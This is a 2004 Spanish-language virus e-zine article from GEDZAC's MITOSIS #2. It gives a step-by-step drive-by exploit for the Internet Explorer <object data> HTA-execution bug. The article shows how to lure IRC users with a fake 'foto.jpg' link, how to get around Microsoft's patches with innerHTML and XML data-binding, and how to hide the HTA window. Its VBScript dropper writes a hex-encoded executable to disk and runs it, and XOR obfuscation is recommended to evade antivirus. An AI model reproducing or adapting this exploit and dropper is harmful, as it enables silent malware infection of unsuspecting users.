(C) MITOSIS #2 E-Zine/GEDZAC 2004


Tema          : Bug del Object Data
Autor         : MachineDramon
Válido para   : vbs o js en IE 5.5 - 6.0

La etiqueta <object> en html se puede usar para colocar animaciones, flash,
video, sonido, imagenes, activex etc en una pagina web.

El bug reside en la propiedad data de la etiqueta, si por ejemplo colocamos:

<object data="miexe.exe"></object>

IE no activara el exe porque es una extencion no segura. Pero si le pasamos una
extencion segura como php o asp y se le envia al navegador una cabecera http
indicando que el archivo es un hta, el archivo es ejecutado como hta
(HTML Application) por el mshta.exe con todos los permisos.

<object data="miphp.php"></object>

Teoricamente debe funcionar en IE 5.x y 6.x y todos los win de 98 a Xp

Habran notado que cuando usamos <object> para el bug aparece un pequeño
cuadradito en la page, si se quiere evitar pongan:

<object style="display:none" data="miphp.php"></object>

Aunque para cuando el user vea el cuadradito si es que lo ve, ya sera muy tarde.

Ahora como hacerlo:
--------------------
La demostracion esta orientada al irc, a que el usuario haga click en un vinculo
del tipo:  http://www.miserver.com/cuenta/foto.jpg y se le ejecute el hta, y
tambien vea la foto.

1)Conseguir un server, de preferencia gratuito que soporte php o asp
luego abrimos una cuenta con algun nombre, creamos dentro de nuestra
cuenta una carpeta "foto.jpg" cosa que nuestra url quede 
http://www.miserver.com/cuenta/foto.jpg/ ,esto es importante
para el engaño, ya que al ver el vinculo
http://www.miserver.com/cuenta/foto.jpg
pensara que es una foto (jpg), cuando en realidad es un directorio
 /foto.jpg/ y como los servers siempre muestran el index dentro del
directorio entonces lo que vera sera /foto.jpg/index.htm

2)Hacemos un index.htm mas o menos asi:
el 1° frame carga el htm que acciona el bug, y el otro carga la imagen
ha mostrar

-----------------------------------------------------------
<frameset rows="1%,99%" frameborder=0 framespacing=0>
<frame src="bug.htm" scrolling="no" noresize>
<frame src="image.htm">
</frame>
-----------------------------------------------------------

3)El archivo image.htm debe tener el html que muestre la imagen:
<image src="image.jpg">

4)el archivo bug.htm debe tener el html que llame al archivo bug.php
para originar el bug

Originalmente bastaria con colocar:    
<object style="display:none" data=bug.php>

pero microsoft saco un parche que impedia hacerlo de esa forma, pero
fiel a la costumbre el parche tambien tenia errores si se insertaba
de forma dinamica el html funcionaba el bug:
Se usa innerHTML para insertar html en forma dinamica, aunque no es
la unica forma.

---------------------------------------------------------
<Script Language='VBScript'>
On Error Resume Next
id = setTimeout("showWCP2()", 5000)

Sub showWCP2()
document.body.innerHTML = "<object style="&Chr(34)&"display:none"&Chr(34)&" data=bug.php>"
End Sub
</Script>
---------------------------------------------------------

Luego se saco un segundo parche que si corregia esto.

Y esto para los users paranoicos que se desabilitan la secuencia de
comandos activex, las 2 anteriores funcionan con los activex activados
pero sigo prefiriendo la 2 forma. Elijan

---------------------------------------------------------
<html>
<span datasrc="#oData" datafld="bData" dataformatas="html"></span>
<xml id="oData">
  <gedzac>
    <bData>
      <![CDATA[
      <object id="oIRC" style="display:none" data="bug.php"></object>
      ]]>
    </bData>
  </gedzac>
</xml>
</html>
---------------------------------------------------------

5)Ahora hacemos el php o asp:
---------------------------------------------------------------------------
Creamos un archivo txt y escribimos lo siguiente y lo renombramos a php

->code php para enviar la cabecera que indique que se habra como un hta
->(Thx a Falckon por enseñarme esta parte del php)
<?php
header("Content-type: application/hta");
?>

Ó creamos un archivo txt y escribimos lo siguiente y lo renombramos a asp

->code asp para enviar la cabecera que indique que se habra como un hta
<%
Response.AddHeader "Content-type", "application/hta"
%>

->de aqui en adelante con asp o php igual
->Luego ponemos esto para que no se vea la ventana del hta al ejecutarse
<html>
<HTA:APPLICATION ID="G" APPLICATIONNAME="G" BORDER="none" BORDERSTYLE="normal"
CAPTION="no" ICON="" CONTEXTMENU="no" MAXIMIZEBUTTON="no" MINIMIZEBUTTON="no"
SHOWINTASKBAR="no" SINGLEINSTANCE="no" SYSMENU="no" VERSION="1.0"
WINDOWSTATE="minimize"/>

->Aqui va el script que se quiere que se ejecute, en vbs o js
<Script Language='VBScript'>

==========Script==============

->Esto para cerrar el hta
window.close()
</Script>
</html>
-----------------------------------------------------------------------------

  a)En el Script podemos usar el wscript.shell, el scripting.filesystemobject
o cualquier objeto ActiveX

Si queremos ejecutar un exe en la pc, debemos pasarlo a hexadecimal primero
colocamos este code en visual basic, para pasar el exe a hexadecimal

-------------------------------------------------------
Open "c:\mi_exe.exe" For Binary As #1
Open "c:\mi_exe.txt" For Output As #2
A$ = " "
While Not EOF(1)
Get #1, , A$
B$ = Hex$(Asc(A$))
If Len(B$) = 1 Then B$ = "0" + B$
Print #2, B$;
Wend
Close
-------------------------------------------------------

Lo que nos de en mi_exe.txt lo ponemos en el script a ejecutar de esta forma:

--------------------------------------------------------------------------
<Script Language='VBScript'>
'Resumidor de errores y objetos fso y ws
On Error Resume Next
Set WS = CreateObject("WScript.Shell")
Set FSO = CreateObject("Scripting.FileSystemObject")

'var con el code hexa del exe
HExeFile="4D5A90000300000.......code.hexa......0000000000000000000000000000"

'luego de 1 segundo llama al sub ExecFile
id = setTimeout("ExecFile()", 1000)

'Sub que escribe y ejecuta al exe
Sub ExecFile()
Set db = FSO.CreateTextFile("C:\TestG.exe")
db.Write Dcd(HExeFile)
db.Close

WS.Run "C:\TestG.exe": document.write "Error 2045"

->Esto para cerrar el hta despues de ejecutar el exe
window.close()
End Sub

'funcion que pasa el code hexa a binario para escribirlo en el exe
Function Dcd(HT)
For i = 1 To Len(HT) Step 2
tb = Chr(37+1) & Chr(72) & Mid(HT, i, 2): tt = tt & Chr(tb)
Next
Dcd = tt
End Function
</Script>
--------------------------------------------------------------------------

Nota: Es posible que si la pc usa firewall o antivirus que implementan
scriptbloking como mcafee o norton, no funcione el bug.
Para mayor eficacia se recomienda encriptar el exploit con alguna funcion
Ejem:
----------------------------------------------------------------------
Function q(j)
On Error Resume Next
For R = 1 To Len(j): q = q & Chr(Asc(Mid(j, R, 1)) Xor 7): Next
End Function
----------------------------------------------------------------------

Referencias: http://www.cyruxnet.com.ar/object_data.htm

Ejemplos en la ezine:
1)Este crea el fso y el ws y muestra un msg con la ruta del folder de
windows  ->object1.zip

2)Este usa el fso y el ws para crear y ejecutar C:\testG.exe
  ->object2.zip

(C) MITOSIS #2 E-Zine/GEDZAC 2004